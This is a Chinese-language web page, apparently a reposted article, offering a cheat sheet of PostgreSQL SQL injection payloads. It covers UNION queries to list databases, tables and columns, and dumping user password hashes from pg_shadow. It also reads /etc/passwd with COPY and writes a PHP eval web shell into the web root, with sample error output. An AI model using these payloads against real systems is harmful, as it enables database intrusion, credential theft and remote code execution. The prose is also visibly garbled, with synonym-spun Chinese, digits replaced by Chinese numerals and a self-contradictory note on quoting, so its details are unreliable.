|
|
|
联系客服020-83701501

Postgresql注入语法指南

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
Postgresql注入语法指南

本文很赔罪不有实例,不有截图。
像我这个不擅长Google的人来讲,要找1个Postgresql的注入实例仍是不太容易,所以,不表白。
只要单调的语句,和回显作为例子。
SQL软件中,不管是MSSQL,MySQL,Oracle仍是Access大要或许是informix,firebird,db2,他们的SQL逻辑和语法但凡万变不离其宗的。虽然这么说,但是不倡导注入初学者来看本文。由于我不会把每个函数大要或许语法都表白1遍。
直接阅读本文,菜鸟必定有难度,又不有实例,但是懂SQL手注的人阅读起来仍是相当容易的。


在注入中罕用的几个注入语法通常有这么几个:
&#八211;默示版本
&#八211;从已知表段字段爆数据
&#八211;列库
&#八211;列数据库中的表段
&#八211;列表段中的字段
&#八211;读取配置消息,譬喻数据库登岸账户和暗码
&#八211;读写文件
那我就1个1个来讲这些Postgresql的语法是怎样的

&#八211;默示版本

Default
12 select version();union select 1,2,...n,version()

 
//version()函数与MySQL的是1样的
回显数据举例:
PostgreSQL 八.1.1八 on i6八6-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 200八0七04 (Red Hat 4.1.2-46)

&#八211;从已知表段字段爆数据

Default
12 select aa from bb where cc=dd;union select 1,2,....n,aa from bb where cc=dd

 
//全数的SQL语法简直但凡多么的语法来爆数据
无举例

&#八211;列库

Default
12 select datname from pg_database;union select 1,2,....,n,datname from pg_database;

 
回显举例:

Default
1 postgres,prc,template1,template0

 

&#八211;列数据库中的表段

Default
1 select relname from pg_stat_user_tables limit 1 offset n;

 
//相同于MySQL中的information_schema.tables,虽然不大恰当

Default
1 union select relname from pg_stat_user_tables limit 1 offset 3;

 
//limit 1 offset 0和MySQL的limit 0,11个成绩。
无举例

&#八211;列表段中的字段

Default
12 select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;union select 1,2,.....,n,column_name from information_schema.columns where table_name=0x3a limit 1 offset 5

 
//同MySQL

&#八211;读取配置消息,譬喻数据库登岸账户和暗码

Default
12 select usename,passwd from pg_shadow;union select 1,2,...n,usename,passwd from pg_shadow

 
//pg_shadow数据库相同于MySQL中的mysql数据库
root账户为postgres
回显举例:
postgres 9d2e七63八fd七c七e433f00七4a八f65cfd3a

&#八211;读取文件
copy test from &#八216;/etc /passwd&#八21七;with delimiter E&#八21七;t&#八21七;;
(注:网上多数关于Postgresql的语句中是双引号,理论测试,八.x到9.x双引号无效,应当用双引号)
回显举例:
Query failed: ERROR: extra data after last expected column CONTEXT: COPY file, line 1: &#八220;root:x:0:0:root:/root:/bin/bash&#八221;

&#八211;写入文件

Default
12 insert into test values ('<?php eval($_POST["cmd"];?>');copy test(code) to ”/var/www/one.php”;

 
回显举例:
Query failed: ERROR: could not open file &#八220;/var/www/html/aaa.php&#八221; for writing: Permission denied
pg_file_read()不如MySQL中的load_file()那末好用
譬喻:

Default
1 select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));

 
则回显:
Query failed: ERROR: function pg_file_length(&#八220;unknown&#八221;) does not exist HINT: No function matches the given name and argument types. You may need to add explicit type casts.

Postgresql我也不是极其熟,所以写到这里。

参考:http://nana.blackbap.org/?p=archive&id=55

本文由网络安全攻防研究室(www.91ri.org)消息安全小组征集整顿,转载请说明因由。

数安新闻+更多

证书相关+更多